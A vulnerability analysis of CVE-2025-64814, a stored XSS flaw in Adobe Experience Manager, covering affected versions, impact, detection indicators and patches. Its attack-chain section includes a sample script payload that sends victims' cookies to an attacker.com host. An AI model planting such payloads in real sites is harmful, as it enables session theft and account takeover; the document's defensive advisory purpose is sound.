CVE-2025-64814: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64814 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM as a Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9–10, 2025, with a patch released the same day. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory, Feedly).

The root cause is improper neutralization of user-supplied input during web page generation (CWE-79 — Stored XSS). A low-privileged authenticated attacker can inject malicious JavaScript into vulnerable AEM form fields; the script is persisted server-side and executes in the victim's browser when they navigate to the page containing the compromised field. Exploitation requires user interaction (a victim browsing the affected page) but no elevated privileges beyond a basic authenticated session, and the scope is changed — meaning the injected script can affect resources beyond the vulnerable component itself (Adobe Advisory, Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, resulting in low confidentiality and low integrity impact with no direct availability impact. Potential consequences include session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, and defacement of AEM-hosted content. Because AEM is commonly used as an enterprise content management platform, a compromised privileged user session could enable further lateral movement within the organization's web infrastructure (Adobe Advisory, Feedly).

1. Reconnaissance: Identify an Adobe Experience Manager instance running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using web fingerprinting tools or Shodan searches for AEM-specific paths (e.g., /libs/granite/core/content/login.html).
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM author or contributor account.
3. Identify vulnerable form fields: Browse AEM authoring interfaces to locate form fields that accept and store user input without adequate output encoding (e.g., content fragment fields, page properties, or custom form components).
4. Inject malicious payload: Submit a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save the content.
5. Trigger victim execution: Lure a higher-privileged user (e.g., AEM administrator) to browse the page containing the injected content, causing the malicious script to execute in their browser context.
6. Harvest results: Collect stolen session tokens, cookies, or credentials from the attacker-controlled server to escalate privileges or perform unauthorized actions within AEM (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /api/assets/) containing encoded script tags or JavaScript event handlers (<script>, onerror=, onload=, javascript:) from low-privileged user accounts.
• Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after accessing AEM-authored pages, potentially carrying cookie or session data as query parameters.
• File System / Content Repository: AEM JCR (Java Content Repository) nodes containing stored content with embedded <script> tags or HTML event handler attributes in text properties; detectable via AEM's query builder or CRXDE Lite.
• Process/Application: Unexpected JavaScript errors or CSP violation reports in AEM server logs or browser console logs referencing external domains not in the approved content security policy.

Adobe has released patches addressing CVE-2025-64814 in AEM 6.5.24.0 (on-premises) and AEM as a Cloud Service 2025.12.0. Organizations should upgrade to these versions immediately. As interim mitigations, administrators can restrict authoring access to trusted users only, enforce a strict Content Security Policy (CSP) on AEM-served pages, and enable AEM's built-in XSS protection filters. Regularly auditing stored content in the JCR for unexpected script tags is also recommended (Adobe Advisory).

The vulnerability was disclosed as part of Adobe's December 2025 Patch Tuesday security bulletin (APSB25-115), which addressed numerous AEM vulnerabilities. No notable independent researcher commentary or significant social media discussion specific to CVE-2025-64814 has been identified beyond standard vulnerability database entries and Tenable detection coverage (Adobe Advisory, Tenable).